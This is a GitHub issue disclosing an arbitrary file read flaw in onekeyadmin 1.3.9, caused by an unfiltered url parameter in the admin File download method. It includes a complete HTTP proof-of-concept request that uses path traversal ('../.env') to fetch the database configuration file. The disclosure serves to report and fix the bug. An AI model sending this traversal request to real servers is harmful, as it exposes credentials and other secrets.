keheying / onekeyadmin

基于Thinkphp6+Element的插件化管理系统,网站、小程序、商城、CMS、APP、ERP、API接口一个系统全部搞定,无需脚手架开箱即用!
Apache License 2.0
52 stars 4 forks source link

Background arbitrary file reading vulnerability 2 #5

Open qbz95aaa opened 1 year ago

qbz95aaa commented 1 year ago
  1. Vulnerability affects product:onekeyadmin
  2. Vulnerability affects version 1.3.9
  3. Vulnerability type:file reading
  4. Vulnerability Details: Vulnerability location Vulnerability occurs in The app\admin\controller\File#download method directly does not filter the incoming url, causing arbitrary file reading image

Vulnerability reproduction Read the database configuration file.env GET /admin1/file/download?url=../.env&title=英文.png HTTP/1.1 Host: 192.168.3.129:8091 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.3.129:8091/admin1/file/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def Connection: close

image
qbz95aaa commented 1 year ago

find by Chaitin Security Research Lab